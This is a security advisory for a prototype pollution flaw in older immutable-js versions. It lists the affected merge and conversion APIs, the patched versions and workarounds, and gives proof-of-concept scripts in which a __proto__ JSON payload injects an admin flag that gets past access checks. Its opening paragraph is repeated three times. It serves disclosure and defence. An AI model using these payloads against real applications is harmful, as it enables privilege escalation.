immutable-js · Vulnerability

Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.

Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.

Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.

## Impact _What kind of vulnerability is it? Who is impacted?_ A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. ## Affected APIs | API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` | | `mergeDeepWith(merger, target, source)` | Same code path | | `merge(target, source)` | Shallow variant, same assignment logic | | `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard | | `Map.toObject()` | Same `toObject()` implementation | | `Map.mergeDeep(source)` | When source is converted to plain object | ## Patches _Has the problem been patched? What versions should users upgrade to?_ | major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 | ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ - [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input) - [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto) - [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects) - [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype) - [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype) ## Proof of Concept ### PoC 1 — mergeDeep privilege escalation ```javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4 // Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","__proto__":{"role":"admin","admin":true}}', ); const merged = mergeDeep(userProfile, requestBody); console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__! // Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins) // Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true ``` ### PoC 2 — All affected APIs ```javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable"); const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}'); // 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true // 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true // 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true // 4. Map.toJS() with __proto__ key const m = Map({ user: "alice" }).set("__proto__", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true // 5. Map.toObject() with __proto__ key const m2 = Map({ user: "alice" }).set("__proto__", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true // 6. Nested path const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true // 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe) ``` **Verified output against [email protected]:** ``` mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted ``` ## References _Are there any links users can visit to find out more?_ - [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)